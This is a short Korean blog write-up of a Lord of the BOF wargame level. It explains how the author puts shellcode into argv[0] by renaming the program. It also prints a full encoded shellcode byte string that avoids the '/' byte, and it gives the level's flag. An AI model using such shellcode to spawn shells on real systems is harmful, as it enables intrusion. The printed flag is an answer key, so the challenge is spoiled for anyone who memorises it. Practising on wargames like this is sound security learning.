코드를 보면 argv[0]을 초기화 시키는 구문이 사라지고, argv[1]을 초기화 시키고 있다.
따라서 argv[0]을 이용하여 문제를 풀어야한다.
이렇게 코드를 만들고, argv[0]의 주소를 구한다.
argv[0]에 쉘코드를 넣어야 하는데, 어떻게 넣어야 할까 하다 이름 자체를 변경하여 넣기로 하였다.
하지만 쉘코드 중간에는 "\x2f" 라는 부분이 있는데 이 부분은 디렉토리를 구분해주는 인자이기 때문에 계속 오류가 떴다.
그래서 다음과 같은 쉘코드를 사용하였다.
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
이렇게 복사후
쉘을 땄다.
Flag : aspirin
'IT > LOB' 카테고리의 다른 글
[LOB] vampire (0) | 2016.07.23 |
---|---|
[LOB] troll (0) | 2016.07.17 |
[LOB] darkelf (0) | 2016.07.17 |
[LOB] wolfman (0) | 2016.07.17 |
[LOB] orc (0) | 2016.07.17 |